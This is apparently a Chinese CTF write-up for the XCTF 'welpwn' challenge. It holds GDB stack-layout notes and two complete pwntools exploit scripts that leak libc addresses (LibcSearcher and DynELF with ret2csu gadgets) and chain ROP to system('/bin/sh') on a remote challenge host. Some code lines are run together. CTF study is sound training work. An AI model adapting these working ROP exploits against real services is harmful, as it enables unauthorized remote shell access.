XCTF-PWN welpwn

使用LibcSearcher解法
使用GDB动态调试下，发现

0x7fffffffdae0-0x7fffffffdb00是函数是echo的栈帧
0x7fffffffdb00开始就是属于main函数的栈帧
0x7fffffffdb00-0x7fffffffdb08是上一个栈帧的rbp，已经被覆盖
0x7fffffffdb08-0x7fffffffdb0f是retn返回的地址

可以通过4个pop把rip往后移动0x7fffffffdb30处，我们可以在这里构造ROP链

# -*- coding: utf-8 -*-
# @Author: 夏了茶糜
# @Date:   2020-03-16 10:13:17
# @email: sxin0807@qq.com
# @Last Modified by:   Administrator
# @Last Modified time: 2020-03-16 16:53:40from pwn import *
from LibcSearcher import *context(arch="amd64",os="linux",log_level="debug")#p = process("./welpwn")
p = remote("111.198.29.45",32966)
elf = ELF("./welpwn")write_got = elf.got['write']
puts_plt = elf.plt['puts']
start = elf.symbols['_start']
pop_4 = 0x40089C
pop_rdi = 0x4008a3
payload = 0x18 * b'a' + p64(pop_4) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(start)
#rdi,rsi,rdx,rcx,r8,r9
p.recvuntil('Welcome to RCTF\n')
p.sendline(payload)
p.recvuntil("\x40")
write_addr = u64(p.recv(6).ljust(8,b"\x00"))
p.recv()
obj = LibcSearcher("write",write_addr)
#add_condition(leaked_func, leaked_address)
libc_base = write_addr - obj.dump("write")
system_addr = libc_base + obj.dump("system")
str_bin_sh = libc_base + obj.dump("str_bin_sh")log.info("write_addr = " + hex(write_addr))
log.info("system_addr = " + hex(system_addr))
log.info("str_bin_sh = " + hex(str_bin_sh))payload = 0x18 * b'a' + p64(pop_4) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) + p64(start)
p.sendline(payload)
p.interactive()
p.close()

使用pwntools的DynELF解题

# -*- coding: utf-8 -*-
# @Author: 夏了茶糜
# @Date:   2020-03-16 11:16:55
# @email: sxin0807@qq.com
# @Last Modified by:   Administrator
# @Last Modified time: 2020-03-16 16:40:18from pwn import *
context(arch="amd64",os="linux")
context.log_level="debug"
p = remote("111.198.29.45",32966)
elf = ELF('./welpwn')
write_got = elf.got['write']
read_got = elf.got['read']
start = elf.symbols['_start']
gadget_0 = 0x40089a
gadget_1 = 0x400880
pop_4 = 0x40089C
pop_rdi = 0x4008a3
bss = elf.bss()
flag = 0
def leak(address):global flag#rdi,rsi,rdx,rcx,r8,r9payload = 0x18 * b'a' + p64(pop_4) + p64(gadget_0) + p64(0)payload += p64(1) + p64(write_got) + p64(8) + p64(address) + p64(1)payload += p64(gadget_1) + 56 * b'c' + p64(start)p.recvuntil('Welcome to RCTF\n')p.send(payload.ljust(0x400,'a'))if flag:p.recvuntil('\x40')data = p.recv(8)log.info("recv: " + str(data))flag += 1return datad = DynELF(leak,start,elf=ELF('./welpwn'))
sys_addr = d.lookup("system","libc")
log.info("system_addr => %#x", sys_addr)p.recvuntil('Welcome to RCTF\n')
payload = 0x18 * b'a' + p64(pop_4) + p64(gadget_0) + p64(0)
payload += p64(1) + p64(read_got) + p64(8) + p64(bss) + p64(0)
payload += p64(gadget_1) + 56 * b'c' + p64(pop_rdi) + p64(bss) + p64(sys_addr)p.send(payload.ljust(0x400,'a'))
p.recvuntil('\x40')
p.send("/bin/sh\x00")p.interactive()
p.close()

XCTF-PWN welpwn相关推荐

[攻防世界 pwn]——welpwn
[攻防世界 pwn]--welpwn 题目地址: https://adworld.xctf.org.cn/ 题目: 我只能说这道题太巧了, 实在太巧了.我想出来一个名词叫做栈连接还是先checkse ...
XCTF pwn例题思路整理侵删
XCTF pwn例题思路整理侵删 1 .decode("iso-8859-1") 处理报错 2 read() 栈溢出函数定义:ssize_t read(int fd, void ...
攻防世界 Pwn welpwn
攻防世界 Pwn welpwn 1.题目下载地址 2.checksec 3.IDA分析 4.exp 1.题目下载地址点击下载 2.checksec 没有canary 没有PIE 3.IDA分析 ma ...
xctf pwn Aul
对于这道题我- binbin@ubuntu:~$ nc 111.198.29.45 33083 let's play a game | 0 0 0 0 0 0 0 0 | | 0 1 0 0 0 0 ...
【pwn学习】GOT表劫持
文章目录例题 GOT表劫持获取Syscall open-read-write 利用系统调用号调用open 构造payload 获取syscall 读取flag文件 exp 例题例题:XCTF-00 ...
（攻防世界）（pwn）welpwn
首先,放在最前面:这题服务器远端的libc版本是libc-2.23.so而不是libc-2.19.so的版本(害得我编译半天出不来) 看到题目,我们下载附件,一看是个tar.gz文件,我们解压一下,发 ...
xctf攻防世界pwn基础题解（新手食用）
文章目录 CGFsb 关于评论区的问题 when_did_you_born 脚本备注: cgpwn2 目的: 溢出点: 构造shell: exp: strings Level3 status: up ...
c++字符串输入_【pwn】什么是格式化字符串漏洞？
0x00 前言格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...
[攻防世界 pwn]——pwn1（内涵peak小知识）
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
[攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中只要将key里面的值修改为35795746 ...

XCTF-PWN welpwn

XCTF-PWN welpwn相关推荐

最新文章

热门文章